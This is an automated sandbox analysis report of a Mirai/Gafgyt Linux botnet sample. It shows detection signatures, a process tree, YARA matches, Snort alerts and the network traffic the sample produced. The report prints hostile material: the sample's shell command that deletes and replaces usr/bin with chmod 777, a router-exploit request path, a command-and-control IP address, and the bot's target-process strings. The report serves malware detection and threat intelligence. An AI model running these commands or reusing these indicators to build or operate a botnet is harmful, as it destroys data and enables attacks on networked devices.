Edit tour

Linux Analysis Report
I9k2Q7HKfO.elf

Overview

General Information

Sample name:	I9k2Q7HKfO.elf renamed because original name is a hash value
Original sample name:	0b68ed4bde3aaebab1f1969095a8c625.elf
Analysis ID:	1412859
MD5:	0b68ed4bde3aaebab1f1969095a8c625
SHA1:	d30ea051dd1add90513328c769eddddf8c7d1f66
SHA256:	18cc65037bb563911670c613817a9d7227976f977493d3e94d847b3fadf999fd
Tags:	32elfgafgytsparc
Infos:

Detection

Mirai, Gafgyt

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Gafgyt

Yara detected Mirai

Uses known network protocols on non-standard ports

Changes permissions of common UNIX (system) binary directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1412859
Start date and time:	2024-03-21 05:16:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	I9k2Q7HKfO.elf renamed because original name is a hash value
Original Sample Name:	0b68ed4bde3aaebab1f1969095a8c625.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/I9k2Q7HKfO.elf
PID:	6260
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	matrix
Standard Error:

Process Tree

system is lnxubuntu20

I9k2Q7HKfO.elf (PID: 6260, Parent: 6177, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/I9k2Q7HKfO.elf

I9k2Q7HKfO.elf New Fork (PID: 6262, Parent: 6260)

sh (PID: 6262, Parent: 6260, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf usr/bin && mkdir usr; >usr/bin && mv /tmp/I9k2Q7HKfO.elf usr/bin; chmod 777 usr/bin"

sh New Fork (PID: 6264, Parent: 6262)

rm (PID: 6264, Parent: 6262, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf usr/bin

sh New Fork (PID: 6265, Parent: 6262)

mkdir (PID: 6265, Parent: 6262, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir usr

sh New Fork (PID: 6266, Parent: 6262)

mv (PID: 6266, Parent: 6262, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/I9k2Q7HKfO.elf usr/bin

sh New Fork (PID: 6267, Parent: 6262)

chmod (PID: 6267, Parent: 6262, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 usr/bin

I9k2Q7HKfO.elf New Fork (PID: 6268, Parent: 6260)

I9k2Q7HKfO.elf New Fork (PID: 6270, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6272, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6275, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6277, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6279, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6281, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6282, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6285, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6287, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6289, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6290, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6292, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6293, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6294, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6299, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6300, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6301, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6302, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6303, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6304, Parent: 6268)

I9k2Q7HKfO.elf New Fork (PID: 6311, Parent: 6268)

gnome-session-binary New Fork (PID: 6314, Parent: 1477)

sh (PID: 6314, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

gsd-housekeeping (PID: 6314, Parent: 1477, MD5: b55f3394a84976ddb92a2915e5d76914) Arguments: /usr/libexec/gsd-housekeeping

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
I9k2Q7HKfO.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
I9k2Q7HKfO.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
I9k2Q7HKfO.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1b9c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1baa4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bab8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bacc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bae0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1baf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
I9k2Q7HKfO.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1d402:$x2: /bin/busybox chmod 777 * /tmp/ 0x1d170:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1b9c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1baa4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bab8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bacc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bae0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1baf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1d402:$x2: /bin/busybox chmod 777 * /tmp/ 0x1d170:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1b9c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1baa4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bab8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bacc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bae0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1baf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1d402:$x2: /bin/busybox chmod 777 * /tmp/ 0x1d170:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: I9k2Q7HKfO.elf PID: 6260	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x9c7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9db:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9ef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa03:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa17:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa2b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa3f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa53:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa67:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa7b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa8f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xaa3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xab7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xacb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xadf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xaf3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb07:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb1b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb2f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb43:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb57:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: I9k2Q7HKfO.elf PID: 6311	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3d09:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d1d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d31:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d45:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d59:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d6d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d81:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d95:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3da9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3dbd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3dd1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3de5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3df9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3e0d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3e21:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3e35:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3e49:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3e5d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3e71:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3e85:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3e99:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 5 entries

Snort Signatures

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 109.205.214.35 - Destination IP: 192.168.2.23

Timestamp:	03/21/24-05:16:59.455837
SID:	2030489
Source Port:	65535
Destination Port:	44844
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:16:53.140470
SID:	2030490
Source Port:	44844
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

String: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k/proc//proc/%d/exewgetcurlping/pswiresharktcpdumppythonbusyboxiptablesnanonvimvimgdb/proc/maps/fd/proc/net/tcp/bin/systemd/bin/watchdog/bin/busybox/var/SofiawatchdogmkdirtouchechoHTTPetherapegittelnetdsshdmysqlddropbearropbearencoderpgrepyumtftpftpgetrebootpoweroffshutdownnetcatapth/usr/bin/usr/ftp/usr/sbinusr/binusr/ftpusr/sbinusrrm -rf && mkdir ; > && mv ; chmod 777 3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:44844 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 109.205.214.35:65535 -> 192.168.2.23:44844

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 42372 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58486 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 54294 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45296 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55868 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46002 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55910 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51862 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51852
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56170 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37304 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 58826 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41166 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47774 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51244 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41184 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47774
Source: unknown	Network traffic detected: HTTP traffic on port 47790 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 7547
